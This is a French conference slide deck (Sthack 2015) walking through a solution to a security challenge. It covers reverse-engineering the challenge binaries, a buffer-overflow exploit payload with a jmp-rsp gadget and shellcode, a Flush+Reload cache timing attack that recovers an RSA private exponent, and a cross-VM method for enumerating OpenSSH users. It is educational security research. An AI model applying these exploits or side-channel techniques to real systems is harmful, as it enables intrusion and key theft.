SlideShare une entreprise Scribd logo
1  sur  70
Télécharger pour lire hors ligne
ATTACK THE CACHE TO GET SOME CASH
Sthack 27 mars 2015
0
DAVID BERARD & VINCENT FARGUES
CESTI Thales à Toulouse
1
CHALLENGE NOSUCHCON#2 - SEPTEMBRE 2014
Conférence à Paris 19-21 Novembre
Challenge créé par
Objectif : Trouver email + password
2
CHALLENGE EN3 ÉTAPES
1. Rétro ingénierie MIPS
Rétro ingénierie rapide et analyse statistique
2. Escape Python sandbox + XXE
Attaque sur AES-128 avec un padding oracle
(vulnérabilité non souhaitée par les créateurs).
Exfiltration de données par XXE
Evasion de la sandbox Pickle modifiée
3. Timing cache attack sur RSA en remote avec overflow
Exploitation d'un buffer overflow
Réalisation d'une attaque par canaux auxiliaires
3
DÉCOUVERTE DE L'ARCHIVE
$ tar xzvf securedrop.tar.gz
securedrop/
securedrop/client/
securedrop/client/client.py
securedrop/archive/
securedrop/archive/messages
securedrop/servers/
securedrop/servers/SecDrop
securedrop/servers/xinetd.conf/
securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpm
securedrop/servers/STPM
securedrop/lib/
securedrop/lib/libsec.so
4
DÉCOUVERTE DE L'ARCHIVE : MESSAGE ARCHIVÉ
Message chiffré (2 lignes)
securedrop/archive/messages
$ cat archive/messages
new message:
0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561
BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD80
8FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F9977223580
8097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAE
E557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C14
9d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b6
82dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2ac
cfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb2
4d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51
ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b02940
9d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3
d75552328cf5742c
5
DÉCOUVERTE DE L'ARCHIVE : CLIENT PYTHON
securedrop/client/client.py
[...]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(15)
s.connect(('nsc2014.synacktiv.com', 1337))
s.send('%sn%sn%sn'%(PASSWORD, wk, enc.encode('hex')))
r = ''
while 'n' not in r :
r += s.recv(1024)
try :
r = r.strip('n').decode('hex')
print ocb_decrypt(k, r)
except :
print r
6
DÉCOUVERTE DE L'ARCHIVE : CONFIGURATIONXINETD
secdrop
port : 1337
utilisateur : secdrop
binaire : /home/secdrop/SecDrop
argument : /home/secdrop/messages
stpm
port : 2014
utilisateur : stpm
binaire : /home/stpm/STPM
argument : /home/stpm/keyfile
securedrop/servers/xinetd.conf/secdrop
securedrop/servers/xinetd.conf/stpm
7
DÉCOUVERTE DE L'ARCHIVE : BINAIRES X86-64
securedrop/servers/SecDrop
securedrop/servers/STPM
securedrop/lib/libsec.so
8
FONCTIONNEMENT BASIQUE DUCLIENT
Client SecDrop
gen random AES_key
PASSWORD
RSA_encrypt(AES_key,Kpub)
AES_encrypt(message,AES_key)
AES_encrypt("OK",AES_key)
9
RÉTROINGÉNIERIE SECDROP
Écoute via xinetd sur le port 1337
Service de réception de message
Stockage de messages dans un fichier (argv[1])
10
RÉTROINGÉNIERIE SECDROP: INITIALISATION
fopen argv[1]
Connect 127.0.0.1:2014
Limitation des syscalls à READ, WRITE, EXIT
LODWORD(v0) = seccomp_init(0LL);
v1 = v0;
if ( v0
&& seccomp_rule_add(v0, 2147418112LL, 0LL, 1LL) >= 0
&& seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL) >= 0
&& seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0
&& seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0
&& seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0
&& seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL) >= 0
&& seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL) >= 0
&& seccomp_load(v1) >= 0 )
{
seccomp_release(v1);
result = 0LL;
}
11
RÉTROINGÉNIERIE SECDROP: LECTURE DUPASSWORD
Mot de passe fixe hardcodé
if ( read(0, &buf, 0x21uLL) != 33 ||
memcmp(&buf, "UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn", 0x21uLL) )
{
write(1, "WRONG PASSWORD!n", 0x10uLL);
SEC_exit(1LL);
}
sub_400FB0(v7);
SEC_exit(0LL);
12
RÉTROINGÉNIERIE SECDROP
LECTUREDELA CLEF AES CHIFFRÉEPAR RSA ET DU MESSAGECHIFFRÉPAR AES
Lecture caractère par caractère
Stockage sur la stack
int __fastcall read_input(__int64 a1, __int64 a2)
{
v2 = 0LL;
while ( 1 )
{
result = SEC_fgetc(a1);
if ( result == -1 || result == 'n' )
break;
v3 = (unsigned int)v2;
v2 = (unsigned int)(v2 + 1);
*(_BYTE *)(a2 + v3) = result;
}
*(_BYTE *)(a2 + v2) = 0;
return result;
}
13
RÉTROINGÉNIERIE SECDROP: COMMUNICATIONAVEC STPM
Clef AES chiffrée par RSA envoyée au STPM
Avec la commande : 3n2n0nKEYn
Message chiffré AES transmis au STPM
Avec la commande : 2n2nMESSAGEn
14
FONCTIONNEMENT GLOBAL
Client SecDrop STPM
AES_key=random(16)
PASSWORD
RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key
AES_encrypt(message,AES_key) 2-2-AES_encrypted_message
15
PSEUDO-CODE SECDROP
save_messages = open(argv[1])
socket_stpm = connect(localhost:2014)
restrict_allowed_syscalls()
passwd = read(stdin,33)
if(passwd=="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn"):
aes_key =read_input()
encrypted_msg=read_input()
send(socket_stpm,"3n2n0n"+aes_key+"n")
send(socket_stpm,"2n2n"+encrypted_msg+"n")
save_messages.write(aes_key + "n" + encrypted_msg)
16
RÉTROINGÉNIERIE STPM
Écoute via xinetd sur le port 2014 (filtré pour l'extérieur)
Sofware Trusted Platform Module ?
Réalise les opérations de chiffrement et de déchiffrement
Stocke des clefs (16 emplacements pour des clefs
symétriques / asymétriques)
Préchargement des clefs depuis le fichier argv[1]
Absent de l'archive fournie
17
RÉTROINGÉNIERIE STPM : PARSING DES COMMANDES
Symboles présents dans le binaire :)
switch ( v2 ) {
case '4':
v3 = export_key();
goto LABEL_6;
case '3':
v3 = import_key();
goto LABEL_6;
case '2':
v3 = message_decrypt();
LABEL_6:
if ( v3 )
goto LABEL_7;
continue;
case '1':
print_keys();
[...]
18
RÉTROINGÉNIERIE STPM : COMMANDES DISPONIBLES
1. print_keys()
affiche toutes les clefs stockées
2. decrypt(key_id,message)
déchiffre le message avec la clef key_id
3. import_key(key_id,index,ciphered_AES_key)
Reçoit ciphered_AES_key chiffré en RSA avec la clef key_id
Déchiffre et stocke la clef à l'index spécifié
4. export_key(index,key)
Renvoie la clef AES à l’index spécifié chiffrée en RSA avec
la clef key
5. exit()
19
FONCTIONNEMENT GLOBAL
Client SecDrop STPM
AES_key=random(16)
Kpriv=read(argv[1])PASSWORD
RSA_encrypt(AES_key,Kpub) 3-2-0-RSA_encrypted_AES_key
AES_key=RSA_decrypt(Kpriv)
store(AES_key)
AES_encrypt(message,AES_key) 2-2-AES_encrypted_message
AES_encrypt("OK",AES_key)AES_encrypt("OK",AES_key)
20
BUFFER OVERFLOWDANS SECDROP
Lecture caractère par caractère sur la socket vers le client
Stockage sur la stack
Arrêt de la lecture si retour à la ligne → overflow
int __fastcall read_input(__int64 a1, __int64 a2)
{
v2 = 0LL;
while ( 1 )
{
result = SEC_fgetc(a1);
if ( result == -1 || result == 'n' )
break;
v3 = (unsigned int)v2;
v2 = (unsigned int)(v2 + 1);
*(_BYTE *)(a2 + v3) = result;
}
*(_BYTE *)(a2 + v2) = 0;
return result;
}
21
BUFFER OVERFLOWDANS SECDROP
Client SecDrop
PASSWORD
padding+ ROP Chain + Shellcode
shellcode
execution
22
BUFFER OVERFLOWDANS SECDROP: SHELLCODE
ROP chain simple : gadget magique présent dans le code
Exploit :
Syscalls limités à READ, WRITE, EXITpar la sandbox
.text:0000000000400F60 db 0B8h
.text:0000000000400F61 ; -----------------------------
.text:0000000000400F61 jmp rsp
.text:0000000000400F61 ; -----------------------------
.text:0000000000400F63 db 0
jmp_rsp=0x00400f61
# password
payload="UBNtYTbYKWBeo12cHr33GHREdZYyOHMZn"
# overflow
payload+="A"*12072
# Jump to shellcode
payload+=addr(jmp_rsp)
# write shellcode
payload+=shellcode()
payload+="n"
23
BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY
Réutilisation des descripteurs de fichier déjà ouverts
(sockets client/STPM)
Client SecDrop STPM
PASSWORD
padding+ ROP Chain + Shellcode
1 (printKey)
printKey results
printKey results
shellcodeexecution
24
BUFFER OVERFLOWDANS SECDROP: EXEMPLE AVEC PRINTKEY
key 0: ASYMETRIC
n = 0x000000B740DF8EE7BEFFE41A337B4E56FFE903D6D62C75[...]
e = 0x00010001
q = PRIVATE :)
key 1: SYMETRIC
k = SECRET :)
key 2: EMPTY
key 3: EMPTY
key 4: EMPTY
key 5: EMPTY
key 6: EMPTY
key 7: EMPTY
key 8: EMPTY
key 9: EMPTY
key 10: EMPTY
key 11: EMPTY
key 12: EMPTY
25
26
TIMING CACHE ATTACK
Attaque par canaux auxiliaires utilisant le cache des
processeurs x86
Cible les algorithmes cryptographiques
AES
RSA
FLUSH+RELOAD: a High Resolution,
Low Noise, L3 Cache Side-Channel
Attack
source :
https://eprint.iacr.org/2013/448.pdf
27
FLUSH+RELOAD : CONDITIONS D'EXPLOITATION
L'attaquant et la cible doivent être sur le même
processeur
Shellcode dans SecDrop sur la même machine que
STPM
Le code du RSA doit être lisible par l'attaquant
Opérations RSA réalisées dans la librairie partagée
28
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
29
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
30
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
31
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
<X cycles CPU>X cycles CPU
31
FLUSH+RELOAD : LE CACHE COMME CANALAUXILIAIRE
Core 0
L1 instr L1 data
L2
Core 1
L1 instr L1 data
L2
L3
STPM SecDrop
Main memorylibsec.so
clflush
32
FLUSH+RELOAD : ALGORITHME
while True:
a = get_CPU_cycle()
read_memory(address)
b = get_CPU_cycle()
flush_caches(address)
if b-a < threshold:
# the memory zone was accessed by another process
else:
# the memory zone wasn't accessed
33
IDENTIFICATIONDES SEUILS
FLUSH+Reload sur une adresse régulièrement utilisée
Récupération du nombre de cycles CPU pour une lecture
CanvasJS.com
34
IDENTIFICATIONDES SEUILS
FLUSH+Reload sur une adresse régulièrement utilisée
Récupération du nombre de cycles CPU pour une lecture
CanvasJS.com
Cache
HITS
< 200
34
IDENTIFICATIONDES SEUILS
FLUSH+Reload sur une adresse régulièrement utilisée
Récupération du nombre de cycles CPU pour une lecture
CanvasJS.com
Cache
HITS
< 200
Cache
MISS
> 200
34
RSA : EXPONENTIATIONMODULAIRE
RSA_decrypt : bigint(ciphertext) ^ d % n
d => exposant privé
n => modulus
Bignum Exp_mod : square et multiply
/* base = n, exp = d, m = int(ciphertext) */
modpow(base, exp, m) {
result = 1;
while (exp > 0) {
if (exp & 1 > 0) {
result = (result * base) % m; #MULTIPLY
}
exp >>= 1;
base = (base * base) % m; #SQUARE
}
return result;
}
35
RSA : EXPONENTIATIONMODULAIRE
RSA_decrypt : bigint(ciphertext) ^ d % n
d => exposant privé
n => modulus
Bignum Exp_mod : square et multiply
/* base = n, exp = d, m = int(ciphertext) */
modpow(base, exp, m) {
result = 1;
while (exp > 0) {
if (exp & 1 > 0) {
result = (result * base) % m; #MULTIPLY
}
exp >>= 1;
base = (base * base) % m; #SQUARE
}
return result;
}
 
35
IDENTIFICATIONDES FONCTIONS SQUARE & MULTIPLY
Test sur le bit
Square & multiply
 
 
 
36
CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP
Main memory libsec.so
multiply
square
SEC_unwrap
SEC_fgetc
SecDrop STPM
37
CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP
Main memory libsec.so
multiply
square
SEC_unwrap
SEC_fgetc
SecDrop STPM
Flush&Reload
Shellcode
38
CACHE ATTACK DEPUIS L'OVERFLOWDANS SECDROP
Client SecDrop STPM
PASSWORD
padding+ ROP Chain + Shellcode
3-2-0-RSA_encrypted_AES_key
AES_key=RSA_decrypt(Kpriv)
results
shellcodeexecution
mesures
 
39
RÉSULTATS
CanvasJS.com
40
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multipy
1
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multipy
1
 
 
0
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multipy
1
 
 
0
 
 
0
41
EXTRACTIONDES BITS DE L'EXPOSANT PRIVÉ
CanvasJS.com
Square
Multipy
1
Square
Multipy
1
 
 
0
Square
Multipy
1
Square
Multipy
1
 
 
0
 
 
0
Square
Multipy
1
41
RECONSTRUCTIONDE L'EXPOSANT PRIVÉ
Bits inversés : consommés par l'exponentiation modulaire
par la fin
Plusieurs tentatives : résultats différents
Un résultat se démarque dans 20% des cas, c'est
l'exposant privé
42
RAPPEL: MESSAGE DANS L'ARCHIVE
Ligne 1 : Clef AES chiffrée RSA
Ligne 2 : Message chiffré AES
securedrop/archive/messages
$ cat archive/messages
new message:
0C849AFE0A7C11B2F083C32E7FDB0F8AC03198D84D9990B26D6443B1D185A36A235A561
BB99FE897858371311B2AD6DFE75E199667637EDEA7B9C14A158A5F6FFE15A1C14DAD80
8FDC9F846530EDD4FE3E86F4F98571CD45F11190ED531FC940D62C2C2E05F9977223580
8097763157F140FE4A57DB6AD902D9962F12BDFC1547CED3E282604255B2A5331373CAE
E557CC825DD6A03C3D2D7B106E4AD15347BCB5067BDC60376FF1CC133F2C14
9d41dbb8da10b66cdde844f62e9cc4f96c3a88730b7b8307810cf1906935123f97ac9b6
82dd401512d18775bd7bd9b8b40929f5b4a1871ba44c94038793f0aa639b9d71d72d2ac
cfcc95671c77a5c1c32bc813b048f5dcb1f08b59d6a7afb3b34462ac6abb69cb70accb2
4d78389a1777c5244b8063c542cc1f6c6db8d41d32df2e7132e21db8a1cc711c1a97c51
ba29f1d1ac8fa901a902b2a987f0764734f8b8cd2d476200e7ae62a424e2930d8b02940
9d0e5e13d4e11f4b5f5cc1263f41b500b4340b8641465bbc56c64a575f0ee215d02dea3
d75552328cf5742c
43
DÉCHIFFREMENT DE LA CLEF AES
# Inversion des bits, conversion en entier de "d"
d = int(d_binary[::-1],2)
# Conversion en entier de la clef chiffré depuis le message chiffré
encrypted_aes_key = int(encrypted,16)
# Operation de déchiffrement RSA
key_value = pow(encrypted_aes_key, d, n)
# Key : conversion depuis un entier
key = '%0x' % (key_value)
# Suppression du padding PKCS1 v1.5
print key[-32:]
44
DÉCHIFFREMENT DUMESSAGE
SIMPLEOPÉRATION AES AVECLA CLEF RETROUVÉE
$ python2 decrypt_msg.py
Good job!
Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to
82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com.
Also, don't forget to send us your solution within 10 days.
Synacktiv team
45
INTHE REALWORLD...
Exemple : bruteforce des utilisateurs dans OpenSSH
Cache attack inter VM
46
HYPERVISEUR AVEC DÉDUPLICATIONDE MÉMOIRE
KVM : Kernel-based Virtual Machine
KSM : Kernel Samepage Merging
Combinaison par défaut sur certaines distributions
dédiées à la virtualisation
47
KERNELSAME PAGE MERGING
Virtual memory
VM 1
Main memory
Virtual memory
VM 2
Hyperviseur
48
KERNELSAME PAGE MERGING
Virtual memory
VM 1
Main memory
Virtual memory
VM 2
Hyperviseur ksmd
49
KERNELSAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
same page
50
KERNELSAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
51
KERNELSAME PAGE MERGING
VM 1
Main memory
VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
52
KERNELSAME PAGE MERGING
VM 1 VM 2
Hyperviseur ksmd
Virtual memory Virtual memory
Main memory
sshd sshd
Cache L3
53
L'UTILISATEUR INEXISTANT EXISTE !
if (authctxt->pw && strcmp(service, "ssh-connection")==0) {
authctxt->valid = 1;
debug2("input_userauth_request: setting up authctxt for %s", user);
} else {
logit("input_userauth_request: invalid user %s", user);
authctxt->pw = fakepw();
}
struct passwd *
fakepw(void)
{
static struct passwd fake;
memset(&fake, 0, sizeof(fake));
fake.pw_name = "NOUSER";
fake.pw_passwd = "$2a$06$r3.
juUaHZDlIbQaO2dS9FuYxL1W9M81R1Tc92PoSNmzvpEqLkLGrK";
fake.pw_uid = privsep_pw == NULL ? (uid_t)-1 : privsep_pw->pw_uid;
fake.pw_gid = privsep_pw == NULL ? (gid_t)-1 : privsep_pw->pw_gid;
fake.pw_dir = "/nonexist";
fake.pw_shell = "/nonexist";
return (&fake);
}
54
TEST DE LA PRÉSENCE D'UNUTILISATEUR
Chargement du binaire sshd en mémoire (mmap)
Création d'un thread de monitoring
FLUSH+RELOAD sur l'adresse fakepw (offset dans
sshd)
En parallèle : Connexion à la VM avec libssh2
HIT sur fakepw : utilisateur inexistant
MISS sur fakepw : utilisateur existant
55
DÉMO
user@vm1 $ ./ssh_user_bruteforcer
56
MERCI DE VOTRE ATTENTION!
QUESTIONS
?david.berard@thalesgroup.com
vincent.fargues@thalesgroup.com
57

Contenu connexe

Tendances

Présentation de ECMAScript 6
Présentation de ECMAScript 6Présentation de ECMAScript 6
Présentation de ECMAScript 6
Julien CROUZET
 

Tendances (20)

Les fonctions lambdas en C++11 et C++14
Les fonctions lambdas en C++11 et C++14Les fonctions lambdas en C++11 et C++14
Les fonctions lambdas en C++11 et C++14
 
Les nouveautés de C++11 : Ecrire du C++ Moderne
Les nouveautés de C++11 : Ecrire du C++ ModerneLes nouveautés de C++11 : Ecrire du C++ Moderne
Les nouveautés de C++11 : Ecrire du C++ Moderne
 
Introduction au lock-free programming avec std::atomics
Introduction au lock-free programming avec std::atomicsIntroduction au lock-free programming avec std::atomics
Introduction au lock-free programming avec std::atomics
 
C1 - Langage C - ISIMA - Première partie
C1 - Langage C - ISIMA - Première partieC1 - Langage C - ISIMA - Première partie
C1 - Langage C - ISIMA - Première partie
 
C2 - Langage C - ISIMA 1 - Deuxieme partie
C2 - Langage C - ISIMA 1 - Deuxieme partieC2 - Langage C - ISIMA 1 - Deuxieme partie
C2 - Langage C - ISIMA 1 - Deuxieme partie
 
C++11 en 12 exemples simples
C++11 en 12 exemples simplesC++11 en 12 exemples simples
C++11 en 12 exemples simples
 
Change mind about JS
Change mind about JSChange mind about JS
Change mind about JS
 
Implémentation des principaux algorithmes de chiffrements en Java
Implémentation des principaux algorithmes de chiffrements en JavaImplémentation des principaux algorithmes de chiffrements en Java
Implémentation des principaux algorithmes de chiffrements en Java
 
Joue à la crypto ! (french)
Joue à la crypto ! (french)Joue à la crypto ! (french)
Joue à la crypto ! (french)
 
Vhdl bousmah f
Vhdl bousmah fVhdl bousmah f
Vhdl bousmah f
 
SdE 8 - Synchronisation de execution
SdE 8 - Synchronisation de executionSdE 8 - Synchronisation de execution
SdE 8 - Synchronisation de execution
 
Démons en PHP, de inetd à ZeroMQ
Démons en PHP, de inetd à ZeroMQDémons en PHP, de inetd à ZeroMQ
Démons en PHP, de inetd à ZeroMQ
 
C3 - Langage C - ISIMA 1 - Troisieme partie
C3 - Langage C - ISIMA 1 - Troisieme partieC3 - Langage C - ISIMA 1 - Troisieme partie
C3 - Langage C - ISIMA 1 - Troisieme partie
 
Le cryptage et le décryptage
Le cryptage et le décryptageLe cryptage et le décryptage
Le cryptage et le décryptage
 
Développer en natif avec C++11
Développer en natif avec C++11Développer en natif avec C++11
Développer en natif avec C++11
 
IEEE754-pourquoi_les_calculs_informatiques_sont_faux
IEEE754-pourquoi_les_calculs_informatiques_sont_fauxIEEE754-pourquoi_les_calculs_informatiques_sont_faux
IEEE754-pourquoi_les_calculs_informatiques_sont_faux
 
Java - Support etudiant - Tronc Commun Deuxième année ISIMA - 2018
Java - Support etudiant - Tronc Commun Deuxième année ISIMA - 2018Java - Support etudiant - Tronc Commun Deuxième année ISIMA - 2018
Java - Support etudiant - Tronc Commun Deuxième année ISIMA - 2018
 
IEEE754-pourquoi_les_calculs_informatiques_sont_faux
IEEE754-pourquoi_les_calculs_informatiques_sont_fauxIEEE754-pourquoi_les_calculs_informatiques_sont_faux
IEEE754-pourquoi_les_calculs_informatiques_sont_faux
 
Ateliers protypage d objets connectes via arduino
Ateliers protypage d objets connectes via arduinoAteliers protypage d objets connectes via arduino
Ateliers protypage d objets connectes via arduino
 
Présentation de ECMAScript 6
Présentation de ECMAScript 6Présentation de ECMAScript 6
Présentation de ECMAScript 6
 

En vedette

Rfid Presentation Slides
Rfid Presentation SlidesRfid Presentation Slides
Rfid Presentation Slides
guestbed1dd
 
Rfid ppt 8th sem
Rfid ppt 8th semRfid ppt 8th sem
Rfid ppt 8th sem
Amit Ranjan
 
Didactica 2 1215627169451846 8
Didactica 2 1215627169451846 8Didactica 2 1215627169451846 8
Didactica 2 1215627169451846 8
Adalberto
 
El paradigma perdido
El paradigma perdidoEl paradigma perdido
El paradigma perdido
Adalberto
 
Periodistas ante el fin de la prensa en papel
Periodistas ante el fin de la prensa en papelPeriodistas ante el fin de la prensa en papel
Periodistas ante el fin de la prensa en papel
Enrique Farez
 
BoletíN Informativo 19 Junio 2009 Mineria, Hidrocarburos, EnergíA & Ambie...
BoletíN Informativo   19 Junio 2009   Mineria, Hidrocarburos, EnergíA & Ambie...BoletíN Informativo   19 Junio 2009   Mineria, Hidrocarburos, EnergíA & Ambie...
BoletíN Informativo 19 Junio 2009 Mineria, Hidrocarburos, EnergíA & Ambie...
YATACO ARIAS ABOGADOS
 
Ley General EducacióN
Ley General EducacióNLey General EducacióN
Ley General EducacióN
Adalberto
 

En vedette (20)

Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...
Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...
Sthack 2015 - Wilfrid "@WilfridBlanc" Blanc & Adrien Revol - Cybersécurité In...
 
Sthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practice
Sthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practiceSthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practice
Sthack 2015 - Renaud "@nono2357" Lifchitz - Quantum computing in practice
 
Quantum computer in cryptography
Quantum computer in cryptographyQuantum computer in cryptography
Quantum computer in cryptography
 
Sesión de Aprendizaje 07 de Unidad Didáctica 01 del Área de Personal Social ...
Sesión de Aprendizaje 07 de Unidad Didáctica 01 del  Área de Personal Social ...Sesión de Aprendizaje 07 de Unidad Didáctica 01 del  Área de Personal Social ...
Sesión de Aprendizaje 07 de Unidad Didáctica 01 del Área de Personal Social ...
 
Rfid Presentation Slides
Rfid Presentation SlidesRfid Presentation Slides
Rfid Presentation Slides
 
Unidad 1 sesiones Cuarto Grado 2015
Unidad 1 sesiones Cuarto Grado 2015Unidad 1 sesiones Cuarto Grado 2015
Unidad 1 sesiones Cuarto Grado 2015
 
Sesión de Aprendizaje 07 de Unidad Didáctica 01 del Área de Personal Social ...
Sesión de Aprendizaje 07 de Unidad Didáctica 01 del Área de Personal  Social ...Sesión de Aprendizaje 07 de Unidad Didáctica 01 del Área de Personal  Social ...
Sesión de Aprendizaje 07 de Unidad Didáctica 01 del Área de Personal Social ...
 
Rfid technologies
Rfid technologiesRfid technologies
Rfid technologies
 
RFID and its applications
RFID and its applicationsRFID and its applications
RFID and its applications
 
Computer memory
Computer memoryComputer memory
Computer memory
 
Rfid ppt 8th sem
Rfid ppt 8th semRfid ppt 8th sem
Rfid ppt 8th sem
 
Didactica 2 1215627169451846 8
Didactica 2 1215627169451846 8Didactica 2 1215627169451846 8
Didactica 2 1215627169451846 8
 
El paradigma perdido
El paradigma perdidoEl paradigma perdido
El paradigma perdido
 
Periodistas ante el fin de la prensa en papel
Periodistas ante el fin de la prensa en papelPeriodistas ante el fin de la prensa en papel
Periodistas ante el fin de la prensa en papel
 
Annonces paroissiales
Annonces paroissiales Annonces paroissiales
Annonces paroissiales
 
BoletíN Informativo 19 Junio 2009 Mineria, Hidrocarburos, EnergíA & Ambie...
BoletíN Informativo   19 Junio 2009   Mineria, Hidrocarburos, EnergíA & Ambie...BoletíN Informativo   19 Junio 2009   Mineria, Hidrocarburos, EnergíA & Ambie...
BoletíN Informativo 19 Junio 2009 Mineria, Hidrocarburos, EnergíA & Ambie...
 
Le clavier laser
Le clavier laserLe clavier laser
Le clavier laser
 
Ley General EducacióN
Ley General EducacióNLey General EducacióN
Ley General EducacióN
 
L’utilisateur et son rôle primordial dans la protection active des systèmes d...
L’utilisateur et son rôle primordial dans la protection active des systèmes d...L’utilisateur et son rôle primordial dans la protection active des systèmes d...
L’utilisateur et son rôle primordial dans la protection active des systèmes d...
 
Rad van falkirk - La roue de Falkirk
Rad van falkirk - La roue de FalkirkRad van falkirk - La roue de Falkirk
Rad van falkirk - La roue de Falkirk
 

Similaire à Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash

AKT un outil pour sécuriser vos données et documents sensibles
AKT un outil pour sécuriser vos données et documents sensiblesAKT un outil pour sécuriser vos données et documents sensibles
AKT un outil pour sécuriser vos données et documents sensibles
Stephane Carrez
 

Similaire à Sthack 2015 - David Berard & Vincent Fargues - Attack the cache to get some cash (20)

AKT un outil pour sécuriser vos données et documents sensibles
AKT un outil pour sécuriser vos données et documents sensiblesAKT un outil pour sécuriser vos données et documents sensibles
AKT un outil pour sécuriser vos données et documents sensibles
 
Reverse Engineering d'un ransomware
Reverse Engineering d'un ransomwareReverse Engineering d'un ransomware
Reverse Engineering d'un ransomware
 
GAB 2017 PARIS - Tester la sécurité de vos annuaires Active Directory et Azur...
GAB 2017 PARIS - Tester la sécurité de vos annuaires Active Directory et Azur...GAB 2017 PARIS - Tester la sécurité de vos annuaires Active Directory et Azur...
GAB 2017 PARIS - Tester la sécurité de vos annuaires Active Directory et Azur...
 
Sécurité asterisk web
Sécurité asterisk webSécurité asterisk web
Sécurité asterisk web
 
Rapport sécurité
Rapport sécuritéRapport sécurité
Rapport sécurité
 
VPN site-to-site.pdf
VPN site-to-site.pdfVPN site-to-site.pdf
VPN site-to-site.pdf
 
gRPC, échange à haute fréquence !
gRPC, échange à haute fréquence !gRPC, échange à haute fréquence !
gRPC, échange à haute fréquence !
 
gRPC, ECHANGES A HAUTE FREQUENCE ! DEVOXX 2018
gRPC, ECHANGES A HAUTE FREQUENCE ! DEVOXX 2018gRPC, ECHANGES A HAUTE FREQUENCE ! DEVOXX 2018
gRPC, ECHANGES A HAUTE FREQUENCE ! DEVOXX 2018
 
Trunk VoiP Asterisk strongsawn openvpn
Trunk VoiP Asterisk strongsawn openvpnTrunk VoiP Asterisk strongsawn openvpn
Trunk VoiP Asterisk strongsawn openvpn
 
Forensics: Banking Troubles
Forensics: Banking TroublesForensics: Banking Troubles
Forensics: Banking Troubles
 
configuration vpn-ipsec-routeur
 configuration vpn-ipsec-routeur configuration vpn-ipsec-routeur
configuration vpn-ipsec-routeur
 
Protocoles SSL/TLS
Protocoles SSL/TLSProtocoles SSL/TLS
Protocoles SSL/TLS
 
Les secrets de la JVM pour les algos à haute fréquence
Les secrets de la JVM pour les algos à haute fréquenceLes secrets de la JVM pour les algos à haute fréquence
Les secrets de la JVM pour les algos à haute fréquence
 
